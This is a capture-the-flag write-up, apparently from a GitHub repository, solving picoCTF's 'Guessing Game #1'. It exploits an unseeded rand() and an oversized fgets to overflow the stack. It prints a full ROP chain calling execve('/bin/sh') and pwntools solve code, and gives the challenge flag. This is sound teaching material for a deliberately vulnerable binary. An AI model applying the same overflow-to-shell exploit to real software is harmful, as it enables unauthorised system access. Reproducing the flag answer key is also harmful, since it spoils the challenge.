Skip to content

Latest commit

 

History

History

guessing-game-1

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Guessing Game #1

Introduction

Guessing Game #1 is a 250 point binary-exploitation challenge from picoCTF. The description states:

I made a simple game to show off my programming skills. See if you can beat it!

We get the executable, the Makefile, and the source.

Information Gathering

Hint #1

Tools can be helpful, but you may need to look around for yourself.

Pretty ambiguous I think. I am not sure what to make of this.

Hint #2

Remember, in CTF problems, if something seems weird it probably means something...

Also pretty ambiguous, but I guess we should dive in!

Vulnerability Mitigations

$ checksec vuln
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found #(this is a lie?)
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The Makefile suggests no stack canary given the -fno-stack-protector flag. We confirm it is not PIE. It's also statically linked which is neat and give us an opportunity to do relative jumps easier.

Using objdump --syms I didn't see symbols for system or exec*, so I am guessing that either the remote server is going to read the flag for us or we need some shellcode. Current thoughts anyways. We need to check the source first.

Source

main is essentially the following loop:

while (1) {
res = do_stuff();
if (res) {
    win();
}

do_stuff gets a random number using rand. Note that it is never seeded using srand. man 3 rand states that this means it will always have a default seed of 1:

If no seed value is provided, the rand() function is automatically seeded with a value of 1.

So our random number is not so random; we will get the same number each time. We should be able to figure it out with GDB.

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
	int res = 0;

	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);

	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print
statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

Continuing on, we see that if we 'win' we get to the following function. And we can spot the bug. The developer should have limited the call to fgets to BUFSIZE (which is a macro for 100), but it is instead 360. So if we get to the win function we should be able to overflow the buffer and overrun the return address. Cool, lets do that.

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

Solving

If we set a breakpoint on increment (we have symbols, thank you developers!) we can inspect what the expected number is that we need to guess, 0x54 or 84.

break increment
finish
p/d $rax
$1 = 84

We can do this with pwntools to automate finding this value, which makes it more repeatable in the future. So let's do that in our ./solve.py script. For whatever reason, when I set the breakpoint on the symbol 'increment', it resolved the wrong address even though 'info sym increment' showed the correct address. I'm not sure what was going on, so I just set the address to the return from increment in main.

INCREMENT_ADDRESS = 0x00400bbc
with gdb.debug(exe.path, gdbscript=GDB_COMMAND, api=True) as vuln:
        # Add our breakpoint (we could do this in the gdbscript, but I like the
		# API).
        vuln.gdb.Breakpoint('* ' + str(INCREMENT_ADDRESS))

        vuln.gdb.continue_and_wait()

        # Get the selected frame, which will allow us to extract information
		# regarding things like the registers, stack, etc.
        frame = vuln.gdb.selected_frame()

        # Get the return value of increment. This should be the same each time
		# since the developer did not seed rand.
        rax = frame.read_register('rax')

        # Cast as an integer.
        return int(rax.cast(vuln.gdb.lookup_type('long')))

Knowing the answer to the first question, we then need to overflow the buffer and control the return address of the function. checksec is incorrect in reporting a stack canary, as we don't see any when we decompile it. Using a cyclic pattern and a core dump we find the offset on the stack to the return address:

# Generate a cyclic pattern so that we can auto-find the offset.
payload = cyclic(NUM_CYCLIC_BYTES)

# Send the cyclic pattern
proc.sendlineafter(b'Congrats! You win! Your prize is this print statement!\n',
payload)
proc.wait()

# Get the core dump.
core = proc.corefile

# Find our offset.
offset = cyclic_find(pack(core.fault_addr), n=4)

With control of the return address, we now need to ROP around to invoke execve and open up a shell. Fortunately, ropper takes care of this for us. Though note that the output is not in python3 syntax and you'll have to make a couple modifications (see included solve.py):

$ ropper --file ./vuln --chain "execve cmd=/bin/sh"

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('Q', x)

IMAGE_BASE_0 = 0x0000000000400000 #
f01c7ecf217d3cebdf4f676920f17ebfcb33d5d14d78df8dfffed5c5290e6f62
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x000000000000dbeb) # 0x000000000040dbeb: pop r13; ret;
rop += '//bin/sh'
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e0)
rop += rebase_0(0x00000000000695c9) # 0x00000000004695c9: mov qword ptr [rdi],
r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000dbeb) # 0x000000000040dbeb: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x00000000000695c9) # 0x00000000004695c9: mov qword ptr [rdi],
r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e0)
rop += rebase_0(0x0000000000010ca3) # 0x0000000000410ca3: pop rsi; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x000000000004cc26) # 0x000000000044cc26: pop rdx; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x00000000000163f4) # 0x00000000004163f4: pop rax; ret;
rop += p(0x000000000000003b)
rop += rebase_0(0x0000000000049e35) # 0x0000000000449e35: syscall; ret;
print rop

If we send this to the program (after padding as appropriate with the offset) then we land a shell.

ropchain = fit ({
	offset: call_execve()
})

io.sendlineafter(b'Name? ', ropchain)
# Get the flag.
io.sendline(b'cat flag.txt')
io.recvline()
io.recvline()
flag = io.recv()

We get the flag: picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_44d502016ea374b8}

Future Work

It would be neat to implement ropper with pwntools so you didn't need to copy and paste the ropchain. Also update to python3.